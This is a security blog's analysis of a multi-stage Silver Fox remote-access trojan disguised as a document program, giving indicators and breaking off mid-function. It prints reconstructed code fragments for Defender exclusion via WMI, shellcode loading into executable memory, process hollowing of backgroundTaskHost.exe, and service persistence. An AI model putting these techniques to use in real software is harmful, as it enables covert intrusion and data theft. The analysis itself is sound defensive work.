

# 隐匿的“文函”——银狐新变种样本分析报告 – 瑞安研技术博客

rayblog.rising.com.cn/2026/07/隐匿的文函-银狐新变种样本分析报告

Ziyou He

2026-07-16



## 概述

近期，瑞星安全团队接到用户反馈，样本经分析为一个采用Rust语言开发的银狐木马。该样本是一款多层链式部署的远控木马程序，伪装成名为文函.exe的普通文档程序，以降低用户警惕性。样本内置完善的环境检测逻辑，能够自动规避虚拟机、调试器及主流安全软件环境；成功落地后，通过添加Windows Defender扫描排除项实现查杀绕过，并依托系统合法进程backgroundTaskHost.exe完成无文件进程注入，实现持久化驻留。其C2服务地址为gawdkl.fit，支持包括主机信息采集、屏幕截图、键鼠模拟、文件传输、注册表篡改、服务创建、摄像头/音频捕获等在内的完整远控功能，可窃取聊天软件记录、剪贴板内容、系统配置等敏感数据。

# 样本分析

## 初始样本

| 字段    | 内容                               |
|-------|----------------------------------|
| 原始文件名 | 文函.exe                           |
| 文件大小  | 21.8 MB (22923776 bytes)         |
| 文件MD5 | 3DB3678944D709BC08530B411C83ED5E |
| 文件类型  | EXE                              |
| 病毒名   | Dropper.Agent!1.14213            |
| 主要功能  | 部署和运行第二阶段的payload                |

该样本伪装成文函文件，运行后会执行一系列环境检测操作：检查调试状态、判断CPU核心数、扫描安全软件进程、获取内存信息、采集系统软硬件环境数据。随后解码并创建工作目录，在目录中释放第二阶段载荷并进行重命名操作，将重命名后的载荷及工作目录添加至Windows Defender扫描排除项，最终启动载荷执行。

判断进程调试状态。

```
bool Check_IsDebuggerPresent(void)
{
    //获取混淆字符串
    unsigned __int8* kernel32_pstr = GetKernel32_dll_string(.....);
    unsigned __int8* IsDebuggerPresent_pstr = Get_GetSystemInfo_string(.....);
    .....
    //获取GetSystemInfo函数地址
    pIsDebuggerPresent = GetProcAddress(kernel32_ptr, (LPCSTR)IsDebuggerPresent_pstr);
    .....
    return pIsDebuggerPresent() != 0;
}
```

判断CPU核心数是否小于2，并输出日志[ENV] cpu\_count=%lu fail=%s\n。

```
bool Check_Cpu_Core(double unused_xmm_param)
{
    //获取混淆字符串
    unsigned __int8* kernel32_pstr = GetKernel32_dll_string(.....);
    unsigned __int8* sysinfo_pstr = Get_GetSystemInfo_string(.....);
```

```

//省略部分代码
.....
//获取GetSystemInfo函数地址
pGetSystemInfo = GetProcAddress(kernel32_ptr, (LPCSTR)sysinfo_pstr);
//调用GetSystemInfo
((VOID(WINAPI*)(LPSYSTEM_INFO))pGetSystemInfo)(&sys_info);
cpu_core_count = sys_info.dwNumberOfProcessors;
//省略部分代码
.....
is_cpu_env_ok = (cpu_core_count < 2);
const char* fail_str = is_cpu_env_ok ? "false" : "true";
snprintf(log_buf, sizeof(log_buf), "[ENV] cpu_count=%lu fail=%s\n", cpu_core_count,
fail_str);
return is_cpu_env_ok;
}

```

判断物理内存是否小于2GB，并输出日志[ENV] memory=。

```

bool Memory_Info_Proc(double unused_xmm_param)
{
    //获取混淆字符串
    unsigned __int8* kernel32_pstr = GetKernel32_dll_string(.....);
    unsigned __int8* GlobalMemoryStatusEx_pstr = Get_GlobalMemoryStatusEx_string(.....);
    FUNC_P pGlobalMemoryStatusEx =
GetProcAddress(kernel32_ptr, GlobalMemoryStatusEx_pstr);
    //省略部分代码
    .....
    pGlobalMemoryStatusEx(&mem_status);
    // 判断物理内存是否大于2GB
    mem_flag_data = mem_status.ullTotalPhys >> 30;
    is_memory_env_ok = ((mem_status.ullTotalPhys & 0xFFFFFFFF80000000ULL) == 0);
    //省略部分代码
    .....
    xfprintf((FILE*)&file_buf, "[ENV] memory=", arg_list);
    //省略部分代码
    .....
    return is_memory_env_ok;
}

```

判断系统中是否存在特定安全软件进程。

```

bool Check_Antivirus_Process(void)
{
    // 需要检测的进程名列表
    const WCHAR *target_processes[] = {
        L"360tray.exe",
        L"HipsTray.exe",
        L"QQPCTray.exe"
    };
}

```

```

// 创建进程快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//省略部分代码

.....
if (!Process32FirstW(hSnapshot, &pe32))
{
    CloseHandle(hSnapshot);
    return FALSE;
}
//省略部分代码

.....
do
{
    for (int i = 0; i < target_count; i++)
    {
        if (_wcsicmp(pe32.szExeFile, target_processes[i]) == 0)
        {
            // 发现目标安全进程
            CloseHandle(hSnapshot);
            return TRUE;
        }
    }
} while (Process32NextW(hSnapshot, &pe32));

.....
}

```

获取系统内存、CPU、进程等信息，并输出日志[run] facade\_score=。

```

int64 ProcesorPerformer_Proc(void)
{
    // 1. 读取全局内存信息
    MEMORYSTATUSEX memInfo = {0};
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);
    GlobalMemoryStatusEx(&memInfo);

    PERFORMANCE_INFORMATION perfInfo = {0};
    perfInfo.cb = sizeof(PERFORMANCE_INFORMATION);
    K32GetPerformanceInfo(&perfInfo, sizeof(PERFORMANCE_INFORMATION));

    // 2. PDH读取CPU空闲率
    PDH_HQUERY hQuery;
    PDH_HCOUNTER hCounter;
    PdhOpenQueryA(NULL, 0, &hQuery);
    PdhAddEnglishCounterA(hQuery, "Processor(_Total)% Idle Time", 0, &hCounter);
    PdhCollectQueryData(hQuery);
    PDH_FMT_COUNTERVALUE val;
    PdhGetFormattedCounterValue(hCounter, PDH_FMT_DOUBLE, NULL, &val);
    double cpuIdle = val.doubleValue;
}

```

```
// 3. NtQuerySystemInformation遍历进程 (简略示意)
ULONG bufSize = 0x10000;
BYTE* pBuffer = malloc(bufSize);
NtQuerySystemInformation(SystemProcessInformation, pBuffer, bufSize, &bufSize);

// 4. 获取主机名
WCHAR hostName[256] = {0};
DWORD hostLen = 256;
GetComputerNameExW(ComputerNamePhysicalDnsHostname, hostName, &hostLen);

// 5. 生成环境指纹校验值 (原版返回值)
__int64 fingerprint = perfInfo.PhysicalTotal ^ perfInfo.ProcessCount ^ (cpuIdle *
1000);

// 清理资源
PdhCloseQuery(hQuery);
free(pBuffer);
return fingerprint;
}
```

解码工作目录名。样本中共内嵌了 20 个目录名，每次启动时随机选取一个作为当前工作目录。解码使用异或算法，密钥为0x5D

| 序号 | 工作目录名            | 序号 | 工作目录名              |
|----|------------------|----|--------------------|
| 1  | ComplianceCheck  | 11 | LayoutServer       |
| 2  | ScreenShare      | 12 | DomainJoinTool     |
| 3  | CursorManager    | 13 | TextConverter      |
| 4  | DataClassifier   | 14 | BrightnessHelper   |
| 5  | HibernateManager | 15 | SyncHelper         |
| 6  | AdminConsole     | 16 | ClipSync           |
| 7  | DataExplorer     | 17 | UptimeMonitor      |
| 8  | ScreenCapture    | 18 | TroubleshootHelper |
| 9  | PrintSpooler     | 19 | MagnifierHelper    |
| 10 | ImageViewer      | 20 | PartitionHelper    |

利用WMI将指定目录或程序添加至Windows Defender排除项。

```

bool Add_WD_Mp_ExclusionPaths_ctrl(LPCSTR szExclusionPath)
{
    // COM 初始化
    hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    // 创建 WMI Locator
    hr = CoCreateInstance(
        CLSID_WbemLocator,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_IWbemLocator,
        (LPVOID*)&pLocator
    );
    // 连接 WMI 命名空间 root\Microsoft\Windows\Defender
    bstrNamespace = SysAllocString(L"ROOT\\Microsoft\\Windows\\Defender");
    hr = pLocator->ConnectServer(
        bstrNamespace,
        NULL, NULL, NULL,
        0, NULL, NULL,
        &pServices
    );
    // 设置代理安全
    hr = CoSetProxyBlanket(
        pServices,
        RPC_C_AUTHN_WINNT,
        RPC_C_AUTHZ_NONE,
        NULL,
        RPC_C_AUTHN_LEVEL_CALL,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL,
        EOAC_NONE
    );
    // 获取 MSFT_MpPreference WMI 类
    bstrClassName = SysAllocString(L"MSFT_MpPreference");
    hr = pServices->GetObject(bstrClassName, 0, NULL, &pClass, NULL);
    // 创建实例模板
    hr = pClass->SpawnInstance(0, &pInstance);
    //省略部分代码
    .....
    // 写入实例属性 ExclusionPath
    bstrPropName = SysAllocString(L"ExclusionPath");
    hr = pInstance->Put(bstrPropName, 0, &vPath, 0);
    //省略部分代码
    .....
    // 调用 Add 方法
    bstrMethodName = SysAllocString(L"Add");
    pSA = SafeArrayCreateVector(VT_VARIANT, 0, 1);
    VariantInit(&vMethodParams);
    //省略部分代码
    .....
}

```

```

vParam.bstrVal = SysAllocString(szWidePath);
lIndex = 0;
hr = SafeArrayPutElement(pSA, &lIndex, &vParam);
//省略部分代码
.....
hr = pServices->ExecMethod(
    bstrClassName,
    bstrMethodName,
    0,
    NULL,
    &vMethodParams,
    NULL,
    NULL
);
//省略部分代码
.....
}

```

在工作目录C:\ProgramData\[工作目录名]中，通过AES解密释放文件winbox64.exe、IrTIJt32.dll和Cache.pmt。释放过程中依次输出日志[run] releasing payload 1/3 via CertEnum、[run] releasing payload 2/3 via CertEnum和[run] releasing payload 3/3 via CertEnum。随后将winbox64.exe重命名为[工作目录名].exe，输出日志[run] renamed，最终输出日志[run] launching并启动 payload。

通过CreateProcessW启动payload。

```

int RunExe(void)
{
    //省略部分代码
    .....
    wcsncpy_s(lpApplicationName, MAX_PATH,
L"C:\\ProgramData\\HibernateManager\\HibernateManager.exe");
    lpCommandLine = L"";
    lpCurrentDirectory = L'C:\\ProgramData\\HibernateManager';
    if (CreateProcessW(
        lpApplicationName,          // lpApplicationName
        lpCommandLine[1],          // lpCommandLine
        NULL,                       // lpProcessAttributes
        NULL,                       // lpThreadAttributes
        bInheritHandles,           // bInheritHandles
        dwCreationFlags,           // dwCreationFlags
        Src,                        // lpEnvironment
        lpCurrentDirectory,         // lpCurrentDirectory
        &Buffer,                    // lpStartupInfo
        &ProcessInformation         // lpProcessInformation
    ))
    {
        v412[0] = ProcessInformation.hProcess;
    }
}

```

```
        v412[2] = ProcessInformation.hThread;
        v412[1] = (HANDLE)(INT64)ProcessInformation.dwProcessId;
        v412[3] = (HANDLE)(INT64)ProcessInformation.dwThreadId;
        if (v305) CloseHandle(v305);
        if (v320) CloseHandle(v320);
        if (h0bject) CloseHandle(h0bject);
        //省略部分代码
        .....
    }
    else
    {
        //省略部分代码
        .....
    }
    //省略部分代码
    .....
    return 0;
}
```

## 二阶段payload

---

| 字段    | 内容                               |
|-------|----------------------------------|
| 原始文件名 | lrTlJt32.dll                     |
| 文件大小  | 105KB (108032 bytes)             |
| 文件MD5 | 1962aa0242dc444f9e0de7cebec0b064 |
| 文件类型  | DLL                              |
| 病毒名   | Trojan.Agent/x64!1.141C2         |
| 主要功能  | 加载三阶段Payload                     |

该DLL由经修改过导入表的EXE文件[工作目录名].exe加载。EXE 启动后会调用DLL导出的三阶段payload加载函数DFUvTX00XFTXFvyXhI。该函数首先读取配置文件Cache.pmt，经RC4解密和RtlDecompressBuffer解压后得到shellcode数据块，最终在自身进程内存中加载并执行该shellcode。

三阶段payload加载函数。

```
int DFUvTX00XFTXFvyXhI()
{
    //省略部分代码
    .....
```

```

// 通过哈希值动态解析所需API
pCreateFileA = Find_TargetFuncAddr_ctrl(0x4FDAF6DA);      // kernel32.CreateFileA
pGetFileSize = Find_TargetFuncAddr_ctrl(0x701E12C6);      // kernel32.GetFileSize
pReadFile = Find_TargetFuncAddr_ctrl(0xBB5F9EAD);        // kernel32.ReadFile
// 验证所有API是否获取成功
if (pCreateFileA != NULL && pGetFileSize != NULL && pReadFile != NULL) {

    // =====读取配置文件 =====
    // 打开文件: C:\ProgramData\HibernateManager\Cache.pmt
    HANDLE hFile = ((HANDLE (WINAPI*)(LPCSTR, DWORD, DWORD,
                                     LPSECURITY_ATTRIBUTES, DWORD, DWORD,
HANDLE))pCreateFileA)(
        FullPath,          // lpFileName
        GENERIC_READ,      // dwDesiredAccess
        FILE_SHARE_READ,   // dwShareMode
        NULL,              // lpSecurityAttributes
        OPEN_EXISTING,     // dwCreationDisposition
        FILE_ATTRIBUTE_NORMAL, // dwFlagsAndAttributes
        NULL                // hTemplateFile
    );
    if (hFile != INVALID_HANDLE_VALUE) {
        dwFileSize = ((DWORD (WINAPI*)(HANDLE, LPDWORD))pGetFileSize)(hFile,
NULL);

        if (dwFileSize > 0 && dwFileSize != INVALID_FILE_SIZE) {
            hMem = LocalAlloc(LMEM_FIXED, dwFileSize);
            if (hMem != NULL) {
                BOOL bSuccess = ((BOOL (WINAPI*)(HANDLE, LPVOID, DWORD, LPDWORD,
LPOVERLAPPED))pReadFile)(
                    hFile,          // hFile
                    hMem,          // lpBuffer
                    dwFileSize,     // nNumberOfBytesToRead
                    &dwBytesRead,  // lpNumberOfBytesRead
                    NULL            // lpOverlapped
                );
                if (bSuccess && dwBytesRead == dwFileSize) {
                    // ===== 加载shellcode =====
                    Main_LoadProc_ctrl(hMem, dwFileSize);
                }
                LocalFree(hMem);
            }
        }
        CloseHandle(hFile);
    }
}
//省略部分代码
.....
return 0;
}

```

在Main\_LoadProc\_ctrl函数中会调用Decrypt\_PayloadContainer\_ctrl，对配置文件进行一次RC4解密。

```
__m128i* Decrypt_PayloadContainer_ctrl(
    __int64 pKey,           // 16字节密钥
    __m128i* pEncryptedData, // 加密数据缓冲区
    int dwDataSize)         // 数据长度
{
    //省略部分代码
    .....
    // 初始化S-box为0状态
    Init_Status_ctrl(SBox, 0, sizeof(SBox));
    // 分配临时缓冲区存放解密数据
    pDecryptedData = (__m128i*)LocalAlloc(LMEM_FIXED, dwDataSize);
    // RC4密钥调度算法 (KSA) - 使用16字节密钥初始化
    Rc4_KeySchedule_ctrl((__int64)SBox, pKey, 16);
    // RC4解密数据 (PRGA + XOR)
    RC4_Decrypt_ctrl(
        SBox,           // S-box状态
        (__int64)pEncryptedData, // 加密数据
        dwDataSize,     // 数据长度
        (__int64)pDecryptedData // 输出缓冲区
    );
    // 将解密数据复制回原始缓冲区 (原地解密)
    Copy_Buf_ctrl(pEncryptedData, pDecryptedData, dwDataSize);
    //省略部分代码
    .....
}
```

在Main\_LoadProc\_ctrl函数中调用Decompress\_BUF\_And\_Load\_ctrl，该函数通过RtlDecompressBuffer对配置文件进行解压，随后将解压后的shellcode映射到内存并执行。

```
//压缩数据头部结构
typedef struct {
    DWORD dwMagic;           // 'LZNT' 魔数
    DWORD dwUncompressedSize; // 解压后大小
    DWORD dwCompressedSize;   // 压缩数据大小
    BYTE CompressedData[1];   // 压缩数据 (变长)
} LZNT_HEADER, *PLZNT_HEADER;

int Decompress_BUF_And_Load_ctrl(
    BYTE* pCompressedData,
    DWORD dwCompressedSize)
{
    //省略部分代码
    .....
    // 通过哈希值动态解析所需API
    pRtlDecompressBuffer = Find_TargetFuncAddr_ctrl(0x77E20184);
```

```

if (pHeader->dwMagic != 0x544E5A4C) { // 'LZNT'
    return 0;
}
//省略部分代码
.....
pDecompressedBuffer = LocalAlloc(LMEM_FIXED, pHeader->dwUncompressedSize);
// 使用ntdll!RtlDecompressBuffer
// 格式: COMPRESSION_FORMAT_LZNT1 (值=2)
dwFinalUncompressedSize = pHeader->dwUncompressedSize;
status = ((NTSTATUS (WINAPI*)(
    USHORT, PCHAR, ULONG, PCHAR, ULONG, PULONG))pRtlDecompressBuffer)(
    COMPRESSION_FORMAT_LZNT1, // 2
    (PCHAR)pDecompressedBuffer,
    pHeader->dwUncompressedSize,
    (PCHAR)pHeader->CompressedData,
    pHeader->dwCompressedSize,
    &dwFinalUncompressedSize
);
// ===== 处理解压结果 =====
if (status == STATUS_SUCCESS) {
    // 验证解压大小
    if (dwFinalUncompressedSize == pHeader->dwUncompressedSize) {
        // 映射并执行Shellcode
        dwResult = Map_shellcode_Ctrl(pDecompressedBuffer, pHeader-
>dwUncompressedSize
    );
    }
}
//省略部分代码
.....
}

```

在自身进程内存中，加载shellcode。

```

int Map_shellcode_Ctrl(
    BYTE* pShellcode, // rcx: Shellcode数据
    DWORD dwShellcodeSize) // edx: Shellcode大小
{
    //省略部分代码
    .....
    //通过哈希值动态解析所需API
    pCreateFileMapping = Find_TargetFuncAddr_ctrl(0x23F9CD0A);
    pMapViewOfFile = Find_TargetFuncAddr_ctrl(0x757AEF13);
    pUnmapViewOfFile = Find_TargetFuncAddr_ctrl(0x257CA71E);
    //省略部分代码
    .....
    //创建匿名文件映射
    hMapping = ((HANDLE (WINAPI*)(
        HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD,

```

```
LPCSTR))pCreateFileMapping)(
    INVALID_HANDLE_VALUE,          // hFile: 匿名映射
    NULL,                          // lpAttributes: 默认安全属性
    PAGE_EXECUTE_READWRITE,       // flProtect: 可执行+读写
    0,                             // dwMaximumSizeHigh: 高32位
    dwMappingSize,                 // dwMaximumSizeLow: 低32位
    NULL                           // lpName: 匿名
);
//映射到进程地址空间
pMappedMemory = ((LPVOID (WINAPI*)(
    HANDLE, DWORD, DWORD, DWORD, SIZE_T))pMapViewOfFile)(
    hMapping,
    FILE_MAP_EXECUTE | FILE_MAP_WRITE, // 0x22: 可执行+写入
    0,                                // 偏移高32位
    0,                                // 偏移低32位
    dwMappingSize                      // 映射大小
);
Copy_Buf_ctrl(pMappedMemory, pShellcode, dwShellcodeSize);
//执行Shellcode
dwShellcodeRet = ((int (__fastcall*)(pMappedMemory));
//省略部分代码
.....
}
```

### 三阶段shellcode+内嵌DLL

| 字段    | 内容                               |
|-------|----------------------------------|
| 文件大小  | 8.86 MB (9292700 bytes)          |
| 文件MD5 | 7b82d0c83867196e043af4f90db90fb2 |
| 文件类型  | X64_shellcode                    |
| 主要功能  | 加载三阶段内嵌DLL，创建驻留项，加载四阶段模块         |

该shellcode主要由两部分构成：代码部分和内嵌PE部分。代码部分负责加载内嵌DLL，其功能包括：

1. 获取所需函数指针，包括：LdrLoadDll、GetProcAddress、VirtualAlloc、VirtualProtect、FlushInstructionCache、GetNativeSystemInfo、Sleep、RtlAddFunctionTable、LoadLibraryA。
2. 校验DLL文件结构，验证是否为合法 PE、是否为 x64 PE、是否包含重定位信息等。
3. 在内存中重组 PE，处理导入表函数指针，修复重定位，修改各节内存属性。
4. 跳转至DLL入口执行。

该阶段内嵌DLL运行后，首先检查当前进程权限信息，随后调用RtlDecompressBuffer解压DLL内嵌的四阶段shellcode。接着创建注册表项SOFTWARE\Microsoft\Tracing\choco\_RASAPICS，在该项下的键{DBB1F414-7272-47DE-A987-6BBEDA78ABB2}中保存一份压缩编码后的后门模块数据，最终在TieringEngineService.exe进程中注入四阶段模块并运行。

由于该DLL采用了大量混淆手段，以下代码逻辑系根据调试结果重构得到。

检查当前进程权限信息。

```
DWORD CheckTokenInfo_ctrl(HANDLE hToken,DWORD* pIntegrityLevel)
{
    // 使用NULL缓冲区查询需要的长度
    if (!GetTokenInformation(hToken,TokenIntegrityLevel,NULL,0,&dwBufferSize)){
        //省略部分代码
        .....
    }
    else{
        return ERROR_SUCCESS;
    }
    // 分配缓冲区
    pTokenInfo = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LMEM_FIXED,dwBufferSize);
    //第二次调用获取实际令牌信息
    if
(GetTokenInformation(hToken,TokenIntegrityLevel,pTokenInfo,dwBufferSize,&dwBufferSize)
)
    {
        //解析SID获取完整性级别
        dwErrorCode = Check_SidInfo_ctrl(pTokenInfo->Label.Sid,pIntegrityLevel);
    }
    else {
        dwErrorCode = GetLastError();
    }
    //省略部分代码
    .....
}
```

将包含后门模块、服务名等信息的数据块写入注册表。

```
INT64 Make_RegKeyBuf_And_Write_ctrl(const void **a1, __int64 a2, int a3)
{
    //省略部分代码
    .....
    memset(Src, 0, sizeof(Src));
    hMem = (char *)LocalAlloc(0, v5 + 2108);
    if ( hMem )
    {
        if ( a3 )
```

```

        *(_DWORD *)hMem = 'REGC';
    else
        *(_DWORD *)hMem = 'REGD';

    .....
    GetModuleFileNameW(0i64, Filename, 0x104u);
    wcsncpy_s((wchar_t *)hMem + 0x14, 0x104, Filename);
    wcsncpy_s((wchar_t *)hMem + 0x670, 0x104, L"Bluetooth User Support
Service_ada7e9");
    wcsncpy_s((wchar_t *)hMem + 0x460, 0x104, L"BluetoothUserService_9dd037");
    //省略部分代码

    .....
    Encode_Buf(hMem);
    hKey = (HKEY)GetRegKeyHandle();
    if ( hKey )
    {
        v11 = SetRegKeyValue_ctrl(hKey, a2, hMem, Len);
        RegCloseKey(hKey);
    }
    LocalFree(hMem);
}
return v11;
}

```

注册表键值数据结构

| 偏移位置  | 内容                                    |
|-------|---------------------------------------|
| 0x0   | 魔术标识(DGER/CGER)                       |
| 0x14  | 二阶payload可执行路径                        |
| 0x460 | BluetoothUserService_9dd037           |
| 0x670 | Bluetooth User Support Service_ada7e9 |
| 0x838 | LZNT_BUF                              |

进程提权。

```

UCHAR AdjustToken_SeDebug_ctrl(__int64 a1, UCHAR a2)
{
    UCHAR result = 0;
    HANDLE hToken = NULL;
    HANDLE hCurrentProcess = GetCurrentProcess();
    // 打开当前进程的访问令牌，请求 TOKEN_ADJUST_PRIVILEGES (0x20) 权限
    if (OpenProcessToken(hCurrentProcess, TOKEN_ADJUST_PRIVILEGES, &hToken))
    {

```

```

        //查找并调整指定令牌权限
        result = Lookup_And_AdjustToken_ctrl(hToken, a1, a2);

        // 关闭令牌句柄
        CloseHandle(hToken);
        hToken = NULL;
    }
    return result;
}

```

## 四阶段DLL

| 字段    | 内容                               |
|-------|----------------------------------|
| 文件大小  | 2.47 MB (2597033 bytes)          |
| 文件MD5 | 41b67f89127bd86a4236586a31de2a9c |
| 文件类型  | DLL                              |
| 主要功能  | 加载注册表中保留的加密数据块，创建傀儡进程注入后门模块      |

该阶段DLL的主要功能是从注册表项 HKLM\SOFTWARE\Microsoft\Tracing\choco\_RASAPICS 中读取先前存储的编码后门模块，解码后注入至 backgroundTaskHost.exe 进程中运行。此外，该模块还具备创建驻留服务及查询系统驱动签名校验状态的功能。

创建傀儡进程 backgroundTaskHost.exe 并注入 shellcode。

```

void LoadShellcode_By_P_backgroundTaskHost_Ctrl(int64 a1)
{
    //省略部分代码
    .....
    pSessionId = 0;
    CurrentProcessId = GetCurrentProcessId();
    ProcessIdToSessionId(CurrentProcessId, &pSessionId);
    memset(Dst, 0, sizeof(Dst));
    while ( 1 )
    {
        while ( 1 )
        {
            ActiveConsoleSessionId_ctrl = GetActiveConsoleSessionId_ctrl();
            ExitCode = 0;
            v3 = ActiveConsoleSessionId_ctrl != pSessionId;
            memset(Dst, 0, sizeof(Dst));
            //初始化傀儡进程名

```

```

        inited = Init_Wchar_String_ctrl(v5, L"backgroundTaskHost.exe");
        if ( (unsigned int)CreateSubProcess_And_InjectShellcode_ctrl(inited, a1,
Dst, v3) )
        {
            break;
            GetLastError();
            Sleep(0x7530u);
        }
        if ( Dst[0] )
        {
            WaitForSingleObject((HANDLE)Dst[0], 0xFFFFFFFF);
            if ( GetExitCodeProcess((HANDLE)Dst[0], &ExitCode) && ExitCode == 259 )
            {
                TerminateProcess((HANDLE)Dst[0], 0);
                Sleep(0xBB8u);
            }
            CloseHandle((HANDLE)Dst[0]);
        }
        if ( Dst[1] )
            CloseHandle((HANDLE)Dst[1]);
        Sleep(0x1388u);
    }
}

```

shellcode注入操作。

```

int64 __fastcall CreateSubProcess_And_InjectShellcode_ctrl(int64 a1, int64 a2, void
*a3, int a4)
{
    //省略部分代码
    .....
    // 获取32位Wow64系统目录路径
    SystemWow64DirectoryW = GetSystemWow64DirectoryW(Buffer, BUF_LEN_260);
    // 校验目录读取结果
    if ( SystemWow64DirectoryW && SystemWow64DirectoryW <= BUF_LEN_260 )
    {
        // 获取目标宿主进程名, 拼接完整路径, C:\Windows\SysWOW64\backgroundTaskHost.exe
        pProcessNmae = GetProcessName(a1);
        wsprintfW(ApplicationName, L"%s%s", Buffer, pProcessNmae);
        // 根据模式创建宿主子进程
        if ( a4 )
        {
            // 模式1: 特权创建进程
            v6 = Create_TPrivilege_Process_ctrl((LPCWSTR)ApplicationName, 0, 0, 4, 0,
&ProcessInformation);
        }
        else
        {
            // 模式2: 当前SID创建进程, 失败则调用原生CreateProcessW兜底
            v6 = Use_Cur_SidCreateProcess_ctrl((LPCWSTR)ApplicationName, 0, 0, 4, 0,

```

```

&ProcessInformation);
    if ( !v6 )
    {
        memset(&Dst, 0, sizeof(Dst));
        Dst.cb = sizeof(STARTUPINFO);
        v6 = CreateProcessW(ApplicationName, 0i64, 0i64, 0i64, 0, CREATE_FLAG,
0i64, 0i64, &Dst, &ProcessInformation);
    }
}
if ( v6 )
{
    // 映射内存区段, 获取shellcode入口地址v12
    if ( (unsigned int)MapViewOfFile_ctrl(ProcessInformation.hProcess, a2,
&v11, &v12) )
    {
        if ( v12 )
        {
            // 设置Wow64 32位线程上下文, 修改Eax寄存器指向shellcode入口
            Context.ContextFlags = CONTEXT_FLAGS;
            if ( Wow64GetThreadContext(ProcessInformation.hThread, &Context) )
            {
                Context.Eax = (DWORD)v12;
                v8 = Wow64SetThreadContext(ProcessInformation.hThread,
&Context);
            }
        }
    }
    if ( v8 )
    {
        // 上下文修改成功, 恢复主线程运行, 执行shellcode
        ResumeThread(ProcessInformation.hThread);
        v5 = 1;
    }
    else
    {
        // 注入失败, 直接终止子进程
        TerminateProcess(ProcessInformation.hProcess, 1u);
    }
    //省略部分代码
    .....
}
Release_Env_ctrl(a1);
return v5;
}
}

```

通过查询注册表键HKLM\SYSTEM\CurrentControlSet\Control\SecureBoot\State下的值UEFISecureBootEnabled以检测设备是否启用了Secure Boot。

通过函数CreateServiceW创建服务BluetoothUserService\_9dd037实现持久化，服务的ImagePath为cmd /c cd /d "C:\ProgramData\HibernateManager" && start "" "C:\ProgramData\HibernateManager\HibernateManager.exe"

## 后门模块

| 字段    | 内容                               |
|-------|----------------------------------|
| 文件大小  | 2.47 MB (2597097 bytes)          |
| 文件MD5 | a60710919c0224eafb17eff4fe9cf050 |
| 文件类型  | DLL                              |
| 主要功能  | 银狐后门模块，根据C2指令执行相关操作              |

后门模块运行后会连接C2地址gawdkl.fit，并持续循环等待C2下发的指令。由于调试时C2已无法连接，以下后门模块功能均基于静态代码分析得出。

后门模块主循环。

```
int RunClientLoopDll_ctrl(...)
{
    va_start(va, dwMilliseconds);
    v23 = 0;
    while ( 1 )
    {
        a14 = 0;
        v22 = 0;
        v16 = Main_Proc(
            (int)&savedregs,
            (int)&a1,

(int)std::_N$V::Z::_Func_impl_no_alloc<RunClientLoopDll::4::_lambda_1_,AHURunOptions>
::vftable,
            v20[1],
            v20[2],
            v20[3],
            v20[4],
            v20[5],
            v20[6],
            v20[7],
            v20[8],
            (int)v20,
            &v22);
        v17 = v16;
```

```

    if ( !v22 )
        break;
    Sleep(dwMilliseconds);
    //省略部分代码
    .....
}
v21 = v16;
CurrentProcess = GetCurrentProcess();
TerminateProcess(CurrentProcess, v21);
return v17;
}

```

创建工作目录C:\ProgramData\regid\_app\_cache，并在该目录及临时目录下搜索特定更新文件：C:\ProgramData\regid\_app\_cache\crm\_cli\_up\_\*、C:\Users\MSBig\AppData\Local\Temp\crm\_cli\_up\_\*。

获取系统剪切板内容。

```

char __cdecl Get_ClipBoardContain_ctrl(_DWORD *cchWideChar, _DWORD *a2)
{
    //省略部分代码
    .....
    while ( !OpenClipboard(0) )
    {
        Sleep(0x32u);
        if ( ++v4 >= 3 )
        {
            *a2 = 1;
            return 0;
        }
    }
    if ( !IsClipboardFormatAvailable(0xDu)
        || (ClipboardData = GetClipboardData(0xDu), (v7 = ClipboardData) == 0)
        || (v8 = (const WCHAR *)GlobalLock(ClipboardData), v9 = v8, (lpWideCharStr =
v8) == 0) )
    {
        CloseClipboard();
        *a2 = 2;
        return 0;
    }
    v10 = lstrlenW(v8);
    cchWideChara = v10;
    if ( v10 )
    {
        //省略部分代码
        .....
    }
}

```

获取Windows系统版本。

```
DWORD CheckWinVersion_ctrl(_DWORD *a1)
{
    if ( !RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows
NT\\CurrentVersion", 0, 0x20019u, &phkResult) )
    {
        memset(Data, 0, sizeof(Data));
        cbData = 512;
        v1 = RegQueryValueExW(phkResult, L"ProductName", 0, 0, (LPBYTE)Data, &cbData);
        RegCloseKey(phkResult);
        //省略部分代码
        .....
    }
    ModuleHandleW = GetModuleHandleW(L"ntdll.dll");
    if ( ModuleHandleW )
    {
        cbData = (DWORD)GetProcAddress(ModuleHandleW, "RtlGetVersion");
    }
    //省略部分代码
    .....
    if ((unsigned int)v2 >= 0x55F0 )
    {
        //省略部分代码
        .....
    }
}
```

获取系统网络适配器信息。

```
FARPROC GetSystemIpInfo_ctrl(int a1)
{
    if ( byte_1017C1A8
        || (byte_1017C1A8 = 1, LibraryW = LoadLibraryW(L"iphlpapi.dll"), (dword_1017C1A0 =
(int)LibraryW) == 0) )
    {
        //省略部分代码
        .....
    }
    else
    {
        result = GetProcAddress(LibraryW, "GetAdaptersAddresses");
        dword_1017C1A4 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD,
_DWORD))result;
    }
    if ( result )
    {
        Size = 0;
    }
}
```

```

        result = (FARPROC)((int (__stdcall *)(_DWORD, int, _DWORD, _DWORD, size_t
*))result)(0, 16, 0, 0, &Size);
        //省略部分代码
        .....
    }
    return result;
}

```

获取系统磁盘容量信息。

```

int16 GetDiskInfo_ctrl(int a1)
{
    LogicalDriveStringsW = GetLogicalDriveStringsW(0x1FFu, Buffer);
    if ( LogicalDriveStringsW )
    {
        for ( i = Buffer; *i; i += v7 - (i + 1) + 1 )
        {
            DriveTypeW = GetDriveTypeW(i);
            if ( DriveTypeW == 3 || DriveTypeW == 2 )
            {
                if ( GetVolumeInformationW(i, 0, 0, 0, 0, 0, FileSystemNameBuffer, 0x40u)
)
                {
                    //省略部分代码
                    .....
                }
                FreeBytesAvailableToCaller.QuadPart = 0i64;
                TotalNumberOfBytes.QuadPart = 0i64;
